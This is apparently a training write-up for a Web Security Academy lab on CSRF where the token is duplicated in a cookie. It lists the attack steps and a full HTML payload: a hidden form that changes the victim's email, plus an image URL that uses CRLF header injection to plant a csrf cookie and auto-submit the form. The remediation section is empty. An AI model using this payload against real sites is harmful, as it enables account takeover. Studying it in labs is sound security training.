SCENARIO

The application consists of an email change functionality which is vulnerable to CSRF even though some security controls are implemented but those tokens are not tied to any session cookie but to a separate CSRF Key cookie as the application uses two different frameworks for session and CSRF and that too is duplicated also called double submit defence mechanism. We will try to mount an exploit and deliver it to the target with the help of an exploit server in order to change the email address of the target.

**PROCEDURE**

1. Go the vulnerable web applications and log in with the username and password of Wiener’s account provided to act as an user.
2. Then change the email once to study the HTTP request and response.
3. Check if there are any loopholes by changing the request type, CSRF Key, CSRF Token, Session Token, etc.
4. We will get to know that if we made both, the CSRF Key and Token same then our request is accepted.
5. Search something from the target’s browser and inspect the source, we see that there is no CSRF mechanism to protect it so we will inject the payload into it.
6. Now go to the original request made by the target and create a CSRF PoC from Engagement tools and modify it according to the payload by changing the CSRF details according to the attacker’s and also make the CSRF Token and Key equal.
7. Go to the exploit server and paste the request into the body tag of the exploit and replace the original token with the attacker’s token, then click store.
8. At the end, click the button to deliver the exploit.

**PAYLOAD**

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', '', '/')</script>

<form action="https://0a650084042913f3802349ba007700cf.web-security-academy.net/my-account/change-email" method="POST">

<input type="hidden" name="email" value="hack@hacker.com" />

<input type="hidden" name="csrf" value="test" />

<input type="submit" value="Submit request" />

</form>

<img src="https://0a650084042913f3802349ba007700cf.web-security-academy.net/?search=shit%0d%0aSet-Cookie:%20csrf=test%3b%20SameSite=None" onerror="document.forms[0].submit()">

</body>

</html>

**REMEDIATION**